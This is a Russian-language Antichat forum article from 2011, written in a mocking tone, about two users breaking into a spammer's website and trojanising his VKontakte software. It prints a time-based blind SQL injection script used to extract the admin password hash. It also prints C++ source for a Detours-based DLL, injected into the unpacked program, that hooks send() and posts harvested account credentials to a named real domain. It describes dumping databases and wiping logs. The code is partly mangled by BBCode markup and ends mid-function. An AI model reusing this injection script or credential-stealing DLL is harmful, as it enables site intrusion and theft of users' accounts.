HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.08.2011, 18:54
GRRRL Power
Постоянный
Регистрация: 13.07.2010
Сообщений: 823
Провел на форуме:
317378

Репутация: 84


По умолчанию


Сразу предупреждаю. К тем, кто зарегистрирован на античате позже 2010 года, просьба это не читать. Вы все равно ничего не поймете.

Статья весьма необычная, учтите это. Тут и взлом, и немного реверсинга, и кодинг, и тонны кирпичей!

Воспринимайте это как шутку, не гневитесь те, кого это задевает. Мы никому не желаем зла.


Related-тема: /thread289086.html. Является обязательной к прочтению, если вы ее еще не успели прочитать.

Давным-давно, когда еще трава была зеленее, а солнце ярче, а борода у Егорыча была на 20 сантиметров короче, произошло непредвиденное, прескорбнейшее событие - отвратительный взлом Античата - форума, который был святой святых спецов по веб-безопасности, крутейших хекеров и просто хороших людей. Были слиты все данные, в том числе самых секретных и недоступных обывателю разделов - МоА, РоА и прочих сокровенных уголков, таивших столько знаний, которыми умные люди делились несколько поколений друг с другом. Весть о сием событии быстро разошлась и стала известна всем, как ее ни пытались скрыть. И вот самые лучшие, самые задроченные умы античата решили создать собственный форум, где будут сидеть они и только они, где они смогут организовать новое, нетронутое, девственное сообщество, в котором постепенно будут накапливаться новейшие знания по уязвимостям веб-движков и прочих пэхопэ-скриптов. Круг этих людей был узок, но они и были самой сладкой элитой античата, и вот они все перешли на свой собственный форум, который был наречен rdot в честь Красной Точки, а на античате их аккаунты были забанены навечно по их собственному желанию. С тех пор на этом форуме, на античате, царит уныние, потому что развиваются только быдлоразделы - покупка/продажа, спам по соцсетям, например. А ведь когда-то самые крутые уязвимости были впервые опубликованы именно здесь. Но, к сожалению, былого уже не вернуть... Хотя, несмотря на все эти обстоятельства, некоторые действительно опытные хакеры все-таки вернулись обратно, на Античат, зарегистрировав мультиакки либо же попросив разбанить их старые аккаунты.

В то самое время, когда все описанные события имели место, не все юзеры перешли на новую сторону Красной Силы, некоторые остались, потому что попросту были не в курсе всего этого, а некоторые (те, кто особенно любил общаться), остались, потому что знали, что новый форум никогда не будет популярным. Не перешли туда и пользователи, о которых многие знают, - Kaimi, который реверсил и периодически ломал софт из раздела соцсетей, вгоняя в лютое бешенство его авторов и формальных покупателей, а также писал бесплатные скрипты на Perl, и dx , который вообще ничего платного в последние года 3 уже и не делал. Kaimi просто хотел быть в курсе последних событий АЙТИ, будь это взломы сайтов, программирование, SEO или что-то еще, а где еще, кроме как на Античате, можно было почерпнуть максимум информации? DX остался из любви помогать всяким кодерам по вопросам программирования, ну и иногда троллить нерадивых школьников. Kaimi, кстати, тоже не пренебрегает такого рода деятельностью, ведь это весело, это развеевает уныние!

Эти два юзера, конечно же, были забанены по собственному желанию еще тогда, давно, как и многие другие, но они не ушли. Ничто не мешало зарегистрировать новые аккаунты и продолжать читать форум и общаться на нем. К сожалению, таких пользователей, как эти двое - любящих писать софт, причем бесплатно, ненавидящих спамеров, не пренебрегающих иногда развести какой-нибудь срач в любом разделе, действительно мало, и они достаточно часто палились, ведь на Античате еще остались юзеры, которые их помнили, но это их не останавливало.

Kaimi втихую продолжал ломать софт, писать скрипты на перле и отписывать в соответствующих разделах, DX стал специализироваться на C++ и при этом достиг таких вершин троллинга, при которых юзера, выступившего против него, банили на этот же день за оскорбления и оффтоп. На недельку.

Но, как вы уже догадались, они на этом не остановились. Они задумали такое, что должно было бы весь раздел соцсетей со всеми этими спамерами поставить на уши и как следует взбодрить, чтобы это еще долго помнили. Они понимали, что могут спалиться, но им было просто лень делать все максимально аккуратно, им просто хотелось веселья. Кроме этого, надо же было как-то совместить программирование софта, реверсинг, взлом сайта и троллинг? И они придумали, как.

Одним из активнейших спамеров современности является, безусловно, djekxa, у которого еще куча всяких разных ников, который выводит тонны денег с вебманей и яндекса, который не умеет грамотно писать софт и настраивать хостинги и который работает в паре с еще одним пареньком, AquaKlaster"ом. Они и были выбраны целью для SUPER-троллинга.

Буквально за неделю до событий этим двоим, Kaimi и dx'у, удалось сломать сайт вышеупомянутого паренька, так как движок, на котором он строился, некий Трактор Энджин, представлял из себя абсолютнейший быдлокод, дырявый и беспощадный. Вот, собственно, пример того самого кода, именно этот кусок был использован Kaimi и dx'ом, дабы получить MD5 пароля администратора:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'into'[/COLOR][COLOR="#007700"]]))

{

[/
COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pass'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pass'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#FF8000"]//Мегазащита!

[/COLOR][COLOR="#0000BB"]$rdb[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT * FROM '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'users where login = "'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'" ORDER BY id'[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#0000BB"]mysql_error[/COLOR][COLOR="#007700"]());



[/COLOR][COLOR="#FF8000"]// Получаем результат в массив $data.

[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=@[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$rdb[/COLOR][COLOR="#007700"]);



if
(([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]] !==[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]] OR[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pass'[/COLOR][COLOR="#007700"]] !==[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]))

{

[/
COLOR][COLOR="#0000BB"]$ses[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

}

elseif ([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]] &&[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pass'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]] &&[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'status'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]"admin"[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]$ses[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]//Авторизация ГУТ

[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pass'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'author_id'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'status'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'status'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'KCFINDER'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'disabled'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

}

}

[/
COLOR][/COLOR
Непосредственно получение пароля было основано на слепом методе (хотя можно было и по-другому немного) из-за того, что после sql-запроса шли всякие дополнительные проверки (скрипт был по-быстрому написан dx'ом):

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/admin/index.php"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"into=1&login="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'sdfsdfsdf" or (id=1 and ord(substr(password,'[/COLOR][COLOR="#007700"]. ([/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]',1))='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ord[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$l[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$m[/COLOR][COLOR="#007700"]]) .[/COLOR][COLOR="#DD0000"]' and sleep(4)=1) limit 1#'[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#0000BB"]$t2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]();

if([/COLOR][COLOR="#0000BB"]$t2[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]$t1[/COLOR][COLOR="#007700"]>=[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#FF8000"]//если запрос выполнялся долго, т.е., если сработал наш sleep()

[/COLOR][COLOR="#007700"]{

print[/COLOR][COLOR="#0000BB"]$l[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$m[/COLOR][COLOR="#007700"]];[/COLOR][COLOR="#FF8000"]//значит, мы подобрали очередную букву

[/COLOR][COLOR="#0000BB"]flush[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]ob_flush[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];

break;

}

}

if(![/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])

die([/COLOR][COLOR="#DD0000"]'...axz...'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//неопределенная ошибка

[/COLOR][COLOR="#007700"]}

[/
COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 
Класс websock, упрощающий работу с HTTP, взят отсюда.

Был изучен контент сайта, слиты дампы, разумеется, всех баз и файлов, но они решили не афишировать это, а подумать, что же им делать дальше, - нельзя было упустить такую вкусную рыбку, когда она уже жарится на сковородке. Шелл, разумеется, был удален, а логи потерты.

Через какое-то время Kaimi пришла идея - а почему бы не "допилить" софт Хеки таким образом, чтобы научить его отсылать аккаунты вконтакта, с которыми он работает, на его же собственный сайт, а потом об этом создать тему в разделе соцсетей, что, дескать, софт-то аккаунты ворует. Были взяты Detours, C++, написана библиотека, которая была добавлена в импорт предварительно распакованного софта djekx'и. Эта дллка перехватывала в софте функцию send, выцепляла оттуда аккаунты и по 10 штук пачками отсылала ему на сайт.

Вот исходники, состоящие из адской смеси Си и Си++ (писалось на скорую руку, да и хвастаться-то особо не перед кем, эта дллка предназначалась не для всеобщих глаз):

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#include

#include

#include "detours.h"

#include

#include

#include

#pragma comment(lib, "detours")

#pragma comment(lib, "ws2_32")

//софт хеки многопоточный, нам нужна критическая секция

[/COLOR][COLOR="#0000BB"]CRITICAL_SECTION vector_write[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]set[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]accounts[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]WINAPI[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]RealSend[/COLOR][COLOR="#007700"])([/COLOR][COLOR="#0000BB"]SOCKET s[/COLOR][COLOR="#007700"], const[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]buf[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]int len[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]int flags[/COLOR][COLOR="#007700"]) =[/COLOR][COLOR="#0000BB"]send[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]int WINAPI MySend[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET s[/COLOR][COLOR="#007700"], const[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]buf[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]int len[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]int flags[/COLOR][COLOR="#007700"]);

static[/
COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]string implode[/COLOR][COLOR="#007700"](const[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]sep[/COLOR][COLOR="#007700"], const[/COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]set[/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]);

static[/
COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]string get_between_borders[/COLOR][COLOR="#007700"](const[/COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]string[/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"], const[/COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]string[/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]head[/COLOR][COLOR="#007700"], const[/COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]string[/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]tail[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]void ExtractAndSend[/COLOR][COLOR="#007700"](const[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]buf[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]ULONG Host2Ip[/COLOR][COLOR="#007700"](const[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]host[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]void WINAPI SendRequest[/COLOR][COLOR="#007700"](const[/COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]string[/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]text[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]//сливает несколько строк в одну с указанным разделителем

[/COLOR][COLOR="#007700"]static[/COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]string implode[/COLOR][COLOR="#007700"](const[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]sep[/COLOR][COLOR="#007700"], const[/COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]set[/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ostringstream output[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]set[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]const_iterator src_iter[/COLOR][COLOR="#007700"];

for ([/COLOR][COLOR="#0000BB"]src_iter[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]begin[/COLOR][COLOR="#007700"]();[/COLOR][COLOR="#0000BB"]src_iter[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]end[/COLOR][COLOR="#007700"]();[/COLOR][COLOR="#0000BB"]src_iter[/COLOR][COLOR="#007700"]++)

[/
COLOR][COLOR="#0000BB"]output[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]accounts[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]insert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]credentials[/COLOR][COLOR="#007700"]);

}

if([/COLOR][COLOR="#0000BB"]accounts[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]size[/COLOR][COLOR="#007700"]() >=[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]SendRequest[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]implode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"|"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]accounts[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#0000BB"]accounts[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]clear[/COLOR][COLOR="#007700"]();

}

[/
COLOR][COLOR="#0000BB"]LeaveCriticalSection[/COLOR][COLOR="#007700"](&[/COLOR][COLOR="#0000BB"]vector_write[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]ULONG Host2Ip[/COLOR][COLOR="#007700"](const[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]host[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]struct hostent[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]p[/COLOR][COLOR="#007700"];

return ([/COLOR][COLOR="#0000BB"]p[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]gethostbyname[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]host[/COLOR][COLOR="#007700"])) ? *([/COLOR][COLOR="#0000BB"]ULONG[/COLOR][COLOR="#007700"]*)([/COLOR][COLOR="#0000BB"]p[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]h_addr[/COLOR][COLOR="#007700"]) :[/COLOR][COLOR="#0000BB"]INADDR_NONE[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#FF8000"]//функция отправки - позаимствовано с какого-то сорса Slesh'а

[/COLOR][COLOR="#0000BB"]void WINAPI SendRequest[/COLOR][COLOR="#007700"](const[/COLOR][COLOR="#0000BB"]std[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]string[/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]text[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]ULONG ip[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]SOCKADDR_IN addr[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]SOCKET MainSocket[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]SOCKET_ERROR[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]char buf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]4096[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]tmp[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]4096[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]Host2Ip[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"aquaklaster.ru"[/COLOR][COLOR="#007700"]);

if ([/COLOR][COLOR="#0000BB"]ip[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]INADDR_NONE[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]MainSocket[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]socket[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]AF_INET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]SOCK_STREAM[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]IPPROTO_TCP[/COLOR][COLOR="#007700"]);

if ([/COLOR][COLOR="#0000BB"]MainSocket[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]SOCKET_ERROR[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]addr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]sin_addr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]S_un[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]S_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]ip[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]addr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]sin_port[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]htons[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]80[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]addr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]sin_family[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]AF_INET[/COLOR][COLOR="#007700"];

if (![/COLOR][COLOR="#0000BB"]connect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]MainSocket[/COLOR][COLOR="#007700"], ([/COLOR][COLOR="#0000BB"]SOCKADDR[/COLOR][COLOR="#007700"]*)&[/COLOR][COLOR="#0000BB"]addr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]sizeof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKADDR_IN[/COLOR][COLOR="#007700"])))

{

[/
COLOR][COLOR="#0000BB"]wsprintfA[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]tmp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"accounts=%s"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]text[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c_str[/COLOR][COLOR="#007700"]());

[/
COLOR][COLOR="#0000BB"]wsprintfA[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]buf[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"POST /api.php HTTP/1.0\r\n"

"Host: aquaklaster.ru\r\n"

"User-Agent: Firefox/3.0\r\n"

"Connection: close\r\n"

"Content-Type: application/x-www-form-urlencoded\r\n"

"Content-Length: %u\r\n\r\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]lstrlenA[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]tmp[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#0000BB"]RealSend[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]MainSocket[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]buf[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]lstrlenA[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]buf[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]RealSend[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]MainSocket[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]tmp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]lstrlenA[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]tmp[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]closesocket[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]MainSocket[/COLOR][COLOR="#007700"]);

}

}

}

}

[/
COLOR][COLOR="#FF8000"]//Точка входа в нашу дллку

[/COLOR][COLOR="#0000BB"]BOOL WINAPI DllMain[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HINSTANCE hinst[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]DWORD dwReason[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]LPVOID reserved[/COLOR][COLOR="#007700"])

{

if([/COLOR][COLOR="#0000BB"]dwReason[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]DLL_PROCESS_ATTACH[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]InitializeCriticalSection[/COLOR][COLOR="#007700"](&[/COLOR][COLOR="#0000BB"]vector_write[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]DetourRestoreAfterWith[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]DetourTransactionBegin[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]DetourUpdateThread[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]GetCurrentThread[/COLOR][COLOR="#007700"]());

[/
COLOR][COLOR="#0000BB"]DetourAttach[/COLOR][COLOR="#007700"](&([/COLOR][COLOR="#0000BB"]PVOID[/COLOR][COLOR="#007700"]&)[/COLOR][COLOR="#0000BB"]RealSend[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]MySend[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]DetourTransactionCommit[/COLOR][COLOR="#007700"]();

}

else if([/COLOR][COLOR="#0000BB"]dwReason[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]DLL_PROCESS_DETACH[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]DeleteCriticalSection[/COLOR][COLOR="#007700"](&[/COLOR][COLOR="#0000BB"]vector_write[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]DetourTransactionBegin[/COLOR][COLOR="#007700"]();

[/
